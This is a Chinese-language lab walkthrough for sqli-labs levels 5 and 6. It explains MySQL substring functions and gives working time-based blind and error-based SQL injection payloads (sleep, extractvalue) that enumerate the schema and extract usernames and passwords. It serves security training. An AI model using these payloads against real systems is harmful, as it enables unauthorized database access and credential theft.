sqli-labs 第五关+第六关
进入第五关之后稀里糊涂随便注了一通发现没有篮子用。可能是:布尔型盲注、报错型注入、时间延迟型盲注了。
到这里时我们需要了解一些sql语句、函数。可以参考https://blog.csdn.net/qq_41420747/article/details/81773481
1、构造逻辑判断
(1)sql注入截取字符串常用涵数
在sql注入中,往往会用到截取字符串的问题,例如不回显的情况下进行的注入,也称为盲注,这种情况下往往需要一个一个字符的去猜解,过程中需要用到截取字符串。本文中主要列举三个函数和该函数注入过程中的一些用例。
函数:mid() substr() left()
mid()函数为截取字符串一部分。mid(column_name,start,length)
column_name 必需,要提取字符的字段
start 必需,规定开始位置(起始为1)
length 可选,要返回的字符数,如果省略则返回剩余文本
eg:str="123456" mid(str,2,1) 结果为2
substr()
Substr()和substring()函数实现的功能是一样的,均为截取字符串。
string substring(string, start, length)
string substr(string, start, length)
参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度
left()函数
Left()得到字符串左部指定个数的字符
Left ( string, n ) string为要截取的字符串,n为长度。
•基于时间的 SQL 盲注--延时注入
•基于报错的 SQL 盲注-构造 payload 让信息通过错误提示回显出来
第一种,时间延迟型注入手工注入
时间延迟型手工注入,正确会延迟,错误没有延迟。可以通过浏览器的刷新提示观察延迟情况,但是id正确的时候的回显有利于观察。
我们构造sql语句,带上时间延迟的函数,如果有明显的延迟说明有注入点。
?id=1’ and if(length(database())=n,sleep(5),1)--+
经过几次尝试,发现数据库长度为8时有明显延迟5秒。
?id=1' and if(length(database())=8,sleep(5),1)--+
猜库名
数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)='security'
?id=1' and if(left(database(),1)='s',sleep(5),1)--+
猜表名
?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users',sleep(5),5)--+
经过几次尝试找到了表名。
猜列名
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password',sleep(5),1)--+
首先尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中,lucky的是limit 3,1的时候查到了password列,同样的方法查询username ,又一个lucky
猜值
?id=1’ and if(left((select password from users order by id limit 0,1),4)=‘dumb’ ,sleep(5),1)–+
?id=1’ and if(left((select username from users order by id limit 0,1),4)=‘dumb’ ,sleep(5),1)–+
按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb
到这里建议使用sqlmap https://www.cnblogs.com/tac2664/p/13772176.html 第一关的第二种方法,相同 用工具既省劲又方便
第二种,报错注入
爆库
?id=1' and extractvalue(1,concat(0x23,database(),0x23))--+
爆表名
?id=1' and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x23))--+
爆列名
?id=1' and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x23))--+
爆数据
?id=1' and extractvalue(1,concat(0x23,(select password from users order by id limit 0,1),0x23))--+
?id=1' and extractvalue(1,concat(0x23,(select username from users order by id limit 2,1),0x23))--+
用limit 可以看所有的数据了。
第六关
源码中:
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
将第五关的单引号改为双引号即可。